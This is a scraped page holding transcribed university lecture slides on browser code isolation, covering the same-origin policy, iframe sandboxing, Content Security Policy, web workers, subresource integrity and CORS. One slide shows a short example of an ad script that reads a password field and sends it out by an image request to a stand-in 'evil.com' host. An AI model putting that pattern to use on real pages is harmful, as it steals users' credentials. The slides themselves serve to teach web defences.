Browser code isolation

Similar documents
Match the attack to its description:

Modern client-side defenses. Deian Stefan

Extending the browser to secure applications

BOOSTING THE SECURITY

High -Tech Bridge s Web Server Security Service API Developer Documentation Version v1.3 February 13 th 2018

Extending the Web Security Model with Information Flow Control

CSP ODDITIES. Michele Spagnuolo Lukas Weichselbaum

Content Security Policy

RKN 2015 Application Layer Short Summary

Defense-in-depth techniques. for modern web applications

Writing Secure Chrome Apps and Extensions

Web Security. advanced topics on SOP. Yan Huang. Credits: slides adapted from Stanford and Cornell Tech

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

October 08: Introduction to Web Security

HTTP Security Headers Explained

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

Origin Policy Enforcement in Modern Browsers

Browser code isolation

WEB SECURITY: XSS & CSRF

Content Security Policy

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

Web basics: HTTP cookies

CS Paul Krzyzanowski

Computer Security. 14. Web Security. Paul Krzyzanowski. Rutgers University. Spring 2018

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

Acknowledgments... xix

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web

Information Security CS 526 Topic 11

Northeastern University Systems Security Lab

So we broke all CSPs. You won't guess what happened next!

Web basics: HTTP cookies

BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION

Web Security IV: Cross-Site Attacks

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

CIS 4360 Secure Computer Systems XSS

Information Security CS 526 Topic 8

Web Security: Vulnerabilities & Attacks

W3Conf, November 15 & 16, Brad Scott

Project 3 Web Security Part 1. Outline

last time: command injection

More attacks on clients: Click-jacking/UI redressing, CSRF

Client Side Injection on Web Applications

NoScript, CSP and ABE: When The Browser Is Not Your Enemy

The security of Mozilla Firefox s Extensions. Kristjan Krips

Stefan Heule, Devon Rifkin, Alejandro Russo, Deian Stefan. Stanford University, Chalmers University of Technology

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

AN EVALUATION OF THE GOOGLE CHROME EXTENSION SECURITY ARCHITECTURE

CSC 482/582: Computer Security. Cross-Site Security

Secure Frame Communication in Browsers Review

7.2.4 on Media content; on XSS) sws2 1

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Chrome Extension Security Architecture

Web Application Security

s642 web security computer security adam everspaugh

We will show you how we bypassed every XSS mitigation we tested. Mitigation bypass-ability via script gadget chains in 16 popular libraries

AJAX: Rich Internet Applications

Web Security: Loose Ends

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

Code-Injection Attacks in Browsers Supporting Policies. Elias Athanasopoulos, Vasilis Pappas, and Evangelos P. Markatos FORTH-ICS

Web Architecture Review Sheet

CS 161 Computer Security

HTML5 a clear & present danger

Web Security: XSS; Sessions

Computer Security CS 426 Lecture 41

HTML5 Unbound: A Security & Privacy Drama. Mike Shema Qualys

CS 161 Computer Security

The Evolution of Chrome Security Architecture. Huan Ren Director, Qihoo 360 Technology Ltd

CIS 5373 Systems Security

Protecting Users by Confining JavaScript with COWL

Know Your Own Risks: Content Security Policy Report Aggregation and Analysis

UI Course HTML: (Html, CSS, JavaScript, JQuery, Bootstrap, AngularJS) Introduction. The World Wide Web (WWW) and history of HTML

CSCE 120: Learning To Code

Attacks on Clients: JavaScript & XSS

the web as it should be Martin Beeby

iframe programming with jquery jquery Summit 2011

COMET, HTML5 WEBSOCKETS OVERVIEW OF WEB BASED SERVER PUSH TECHNOLOGIES. Comet HTML5 WebSockets. Peter R. Egli INDIGOO.COM. indigoo.com. 1/18 Rev. 2.

Access Denied! Decoding Identity Aware Proxies

Tabular Presentation of the Application Software Extended Package for Web Browsers

Security. SWE 432, Fall 2017 Design and Implementation of Software for the Web

WHY CSRF WORKS. Implicit authentication by Web browsers

Client Side Security And Testing Tools

Web Security: Vulnerabilities & Attacks

LECT 8 WEB SECURITY BROWSER SECURITY. Repetition Lect 7. WEB Security

EasyCrypt passes an independent security audit

CCSP: Controlled Relaxation of Content Security Policies by Runtime Policy Composition

Some Facts Web 2.0/Ajax Security

You Are Being Watched Analysis of JavaScript-Based Trackers

Protection of Web User s Privacy by Securing Browser from Web Privacy Attacks

Neat tricks to bypass CSRF-protection. Mikhail

Common Websites Security Issues. Ziv Perry

Care & Feeding of Programmers: Addressing App Sec Gaps using HTTP Headers. Sunny Wear OWASP Tampa Chapter December

Robust Defenses for Cross-Site Request Forgery

Internet Programming Week 10. Instructor: Paulo Fernandes Applied Computer Science University of Winnipeg

Cross-Site Scripting (XSS) Professor Larry Heimann Web Application Security Information Systems

An Evaluation of the Google Chrome Extension Security Architecture

Your Scripts in My Page: What Could Possibly Go Wrong? Sebastian Lekies / Ben Stock Martin Johns

Don't Trust The Locals: Exploiting Persistent Client-Side Cross-Site Scripting in the Wild

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

Secure Architecture Principles

HTML5 Web Security. Thomas Röthlisberger IT Security Analyst

Transcription:

CS 155 Spring 2016 Browser code isolation John Mitchell Acknowledgments: Lecture slides are from the Computer Security course taught by Dan Boneh and John Mitchell at Stanford University. When slides are obtained from other sources, a a reference will be noted on the bottom of that slide. A full list of references is provided on the last slide.

Modern web sites are complex

Modern web site Code from many sources Combined in many ways

Sites handle sensitive information Financial data Online banking, tax filing, shopping, budgeting, Health data Genomics, prescriptions, Personal data Email, messaging, affiliations, Goal: prevent malicious web content from stealing information.

Basic questions How do we isolate code from different sources Protecting sensitive information in browser Ensuring some form of integrity Allowing modern functionality, flexible interaction

More specifically How do we protect page from ads/services? How to share data with cross-origin page? How to protect one user from another s content? How do we protect the page from a library? How do we protect page from CDN? How do we protect extension from page?

Recall Same-Origin Policy (SOP) Idea: Isolate content from different origins Restricts interaction between compartments Restricts network request and response

Recall Same-Origin Policy (SOP)

Recall Same-Origin Policy (SOP)

Recall Same-Origin Policy (SOP) XmlHttpRequest follows same-origin policy

Recall Same-Origin Policy (SOP)

Same-origin policy summary Isolate content from different origins E.g., can t access document of cross-origin page E.g., can t inspect responses from cross-origin

Example:Library Library included using tag <script src="jquery.js"></script> No isolation Runs in same frame, same origin as rest of page May contain arbitrary code Library developer errors or malicious trojan horse Can redefine core features of JavaScript May violate developer assumptions jquery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million

Second example: advertisement <script src= https://adpublisher.com/ad1.js ></script> <script src= https://adpublisher.com/ad2.js ></script> Read password using the DOM API var c = document.getelementsbyname( password )[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_ > 14

Second example: Ad vs Ad <script src= http://adpublisher.com/ad1.js ></script> <script src= http://adpublisher.com/ad2.js ></script> $1 Buy Now Directly embedded third-party JavaScript poses a threat to other third-party components Attack the other ad: Change the price! var a = document.getelementbyid( sonyad ) a.innerhtml = $1 Buy Now ;

Same-Origin Policy Limitations: Some DOM objects leak data Image size can leak whether user logged in Data exfiltration is trivial Can send data in image request Any XHR request can contain data from page Cross-origin scripts run with privilege of page Injected scripts can corrupt and leak user data! In some ways, too strict What if we want to fetch data from provider.com?

Goal: Password-strength checker Strength checker can run in a separate frame Communicate by postmessage But we give password to untrusted code! Is there any way to make sure untrusted code does not export our password?

Useful concept: browsing context A browsing context may be A frame with its DOM A web worker (thread), which does not have a DOM Every browsing context Has an origin, determined by protocol, host, port Is isolated from others by same-origin policy May communicate to others using postmessage Can make network requests using XHR or tags (<image>, )

Modern Structuring Mechanisms HTML5 iframe Sandbox Load with unique origin, limited privileges Content Security Policy (CSP) Whitelist instructing browser to only execute or render resources from specific sources HTML5 Web Workers Separate thread; isolated but same origin Not originally intended for security, but helps SubResource integrity (SRI) Cross-Origin Resource Sharing (CORS) Relax same-origin restrictions

HTML5 Sandbox Idea: restrict frame actions Directive sandbox ensures iframe has unique origin and cannot execute JavaScript Directive sandbox allow-scripts ensures iframe has unique origin

HTML5 Sandbox Idea: restrict frame actions Directive sandbox ensures iframe has unique origin and cannot execute JavaScript Directive sandbox allow-scripts ensures iframe has unique origin

HTML5 Sandbox Idea: restrict frame actions Directive sandbox ensures iframe has unique origin and cannot execute JavaScript Directive sandbox allow-scripts ensures iframe has unique origin

Sandbox example Twitter button in iframe <iframe src= "https://platform.twitter.com/widgets/tweet_button.html" style="border: 0; width:130px; height:20px;"> </iframe> Sandbox: remove all permissions and then allow JavaScript, popups, form submission, and twitter.com cookies <iframe sandbox="allow-same-origin allow-scripts allow-popups allow-forms" src="https://platform.twitter.com/widgets/tweet_button.html" style="border: 0; width:130px; height:20px;"></iframe>

Sandbox permissions allow-forms allows form submission allow-popups allows popups allow-pointer-lock allows pointer lock (mouse moves) allow-same-origin allows the document to maintain its origin; pages loaded from https://example.com/ will retain access to that origin s data. allow-scripts allows JavaScript execution, and also allows features to trigger automatically (as they d be trivial to implement via JavaScript) allow-top-navigation allows the document to break out of the frame by navigating the top-level window http://www.html5rocks.com/en/tutorials/security/sandboxed-iframes/

Modern Structuring Mechanisms HTML5 iframe Sandbox Load with unique origin, limited privileges Content Security Policy (CSP) Whitelist instructing browser to only execute or render resources from specific sources HTML5 Web Workers Separate thread; isolated but same origin Not originally intended for security, but helps SubResource integrity (SRI) Cross-Origin Resource Sharing (CORS) Relax same-origin restrictions

Content Security Policy (CSP) Goal: prevent and limit damage of XSS XSS attacks bypass the same origin policy by tricking a site into delivering malicious code along with intended content Approach: restrict resource loading to a white-list Prohibits inline scripts embedded in script tags, inline event handlers and javascript URLs Disable JavaScript eval(), new Function(), Content-Security-Policy HTTP header allows site to create whitelist, instructs the browser to only execute or render resources from those sources http://www.html5rocks.com/en/tutorials/security/content-security-policy/

Content Security Policy (CSP) Goal: prevent and limit damage of XSS attacks Approach: restrict resource loading to a white-list E.g., default-src self http://b.com; img-src *

Content Security Policy (CSP) Goal: prevent and limit damage of XSS attacks Approach: restrict resource loading to a white-list E.g., default-src self http://b.com; img-src *

Content Security Policy (CSP) Goal: prevent and limit damage of XSS attacks Approach: restrict resource loading to a white-list E.g., default-src self http://b.com; img-src *

Content Security Policy (CSP) Goal: prevent and limit damage of XSS attacks Approach: restrict resource loading to a white-list E.g., default-src self http://b.com; img-src *

Content Security Policy (CSP) Goal: prevent and limit damage of XSS attacks Approach: restrict resource loading to a white-list E.g., default-src self http://b.com; img-src *

Content Security Policy (CSP) Goal: prevent and limit damage of XSS attacks Approach: restrict resource loading to a white-list E.g., default-src self http://b.com; img-src *

Content Security Policy (CSP) Goal: prevent and limit damage of XSS attacks Approach: restrict resource loading to a white-list E.g., default-src self http://b.com; img-src *

Content Security Policy & Sandboxing Limitations: Data exfiltration is only partly contained Can leak to origins we can load resources from and sibling frames or child Workers (via postmessage) Scripts still run with privilege of page Can we reason about security of jquery-sized lib?

CSP resource directives script-src limits the origins for loading scripts connect-src limits the origins to which you can connect (via XHR, WebSockets, and EventSource). font-src specifies the origins that can serve web fonts. frame-src lists origins can be embedded as frames img-src lists origins from which images can be loaded. media-src restricts the origins for video and audio. object-src allows control over Flash, other plugins style-src is script-src counterpart for stylesheets default-src define the defaults for any directive not otherwise specified

CSP source lists Specify by scheme, e.g., https: Host name, matching any origin on that host Fully qualified URI, e.g., https://example.com:443 Wildcards accepted, only as scheme, port, or in the leftmost position of the hostname: 'none matches nothing 'self' matches the current origin, but not subdomains 'unsafe-inline' allows inline JavaScript and CSS 'unsafe-eval' allows text-to-javascript mechanisms like eval

Modern Structuring Mechanisms HTML5 iframe Sandbox Load with unique origin, limited privileges Content Security Policy (CSP) Whitelist instructing browser to only execute or render resources from specific sources HTML5 Web Workers Separate thread; isolated but same origin Not originally intended for security, but helps SubResource integrity (SRI) Cross-Origin Resource Sharing (CORS) Relax same-origin restrictions

http://www.html5rocks.com/en/tutorials/workers/basics/ Web Worker Run in an isolated thread, loaded from separate file var worker = new Worker('task.js'); worker.postmessage(); // Start the worker. Same origin as frame that creates it, but no DOM Communicate using postmessage main thread dowork.js var worker = new Worker('doWork.js'); worker.addeventlistener('message', function(e) { console.log('worker said: ', e.data); }, false); worker.postmessage('hello World'); // Send data to worker self.addeventlistener('message', function(e) { self.postmessage(e.data); // Return message it is sent }, false);

Modern Structuring Mechanisms HTML5 iframe Sandbox Load with unique origin, limited privileges Content Security Policy (CSP) Whitelist instructing browser to only execute or render resources from specific sources HTML5 Web Workers Separate thread; isolated but same origin Not originally intended for security, but helps SubResource integrity (SRI) Cross-Origin Resource Sharing (CORS) Relax same-origin restrictions

Motivation for SRI Many pages pull scripts and styles from a wide variety of services and content delivery networks. How can we protect against downloading content from a hostile server (via DNS poisoning, or other such means), or modified file on the Content Delivery Network (CDN) Won t using HTTPS address this problem?

Subresource integrity Idea: page author specifies hash of (sub)resource they are loading; browser checks integrity E.g., integrity for link elements <link rel="stylesheet" href="https:// site53.cdn.net/style.css" integrity="sha256- SDfwewFAE...wefjijfE"> E.g., integrity for scripts <script src="https://code.jquery.com/ jquery-1.10.2.min.js" integrity="sha256- C6CB9UYIS9UJeqinPHWTHVqh/ E1uhG5Tw+Y5qFQmYg=">

What happens when check fails? Case 1 (default): Browser reports violation and does not render/ execute resource Case 2: CSP directive with integrity-policy directive set to report Browser reports violation, but may render/execute resource

Modern Structuring Mechanisms HTML5 iframe Sandbox Load with unique origin, limited privileges Content Security Policy (CSP) Whitelist instructing browser to only execute or render resources from specific sources HTML5 Web Workers Separate thread; isolated but same origin Not originally intended for security, but helps SubResource integrity (SRI) Cross-Origin Resource Sharing (CORS) Relax same-origin restrictions

Cross-Origin Resource Sharing (CORS) Amazon has multiple domains E.g., amazon.com and aws.com Problem: amazon.com can t read cross-origin aws.com With CORS aws.com can whitelist amazon.com http://www.html5rocks.com/en/tutorials/cors/

How CORS works Browser sends Origin header with XHR request E.g., Origin: https://amazon.com Server can inspect Origin header and respond with Access-Control-Allow-Origin header E.g., Access-Control-Allow-Origin: https:// amazon.com E.g., Access-Control-Allow-Origin: *

Modern Structuring Mechanisms HTML5 iframe Sandbox Load with unique origin, limited privileges Content Security Policy (CSP) Whitelist instructing browser to only execute or render resources from specific sources HTML5 Web Workers Separate thread; isolated but same origin Not originally intended for security, but helps SubResource integrity (SRI) Cross-Origin Resource Sharing (CORS) Relax same-origin restrictions

Recall: Password-strength checker Strength checker can run in a separate frame Communicate by postmessage But we give password to untrusted code! Is there any way to make sure untrusted code does not export our password?

Confining the checker with COWL Express sensitivity of data Checker can only receive password if its context label is as sensitive as the password Use postmessage API to send password Source specifies sensitivity of data at time of send

Modern web site Code from many sources Combined in many ways

Challenges

Basic questions How do we isolate code from different sources Protecting sensitive information in browser Ensuring some form of integrity Allowing modern functionality, flexible interaction

Acting parties on a site Page developer Library developers Service providers Data provides Ad providers Other users CDNs Extension developers

Specifically How do we protect page from ads/services? How to share data with cross-origin page? How to protect one user from another s content? How do we protect the page from a library? How do we protect page from CDN? How do we protect extension from page?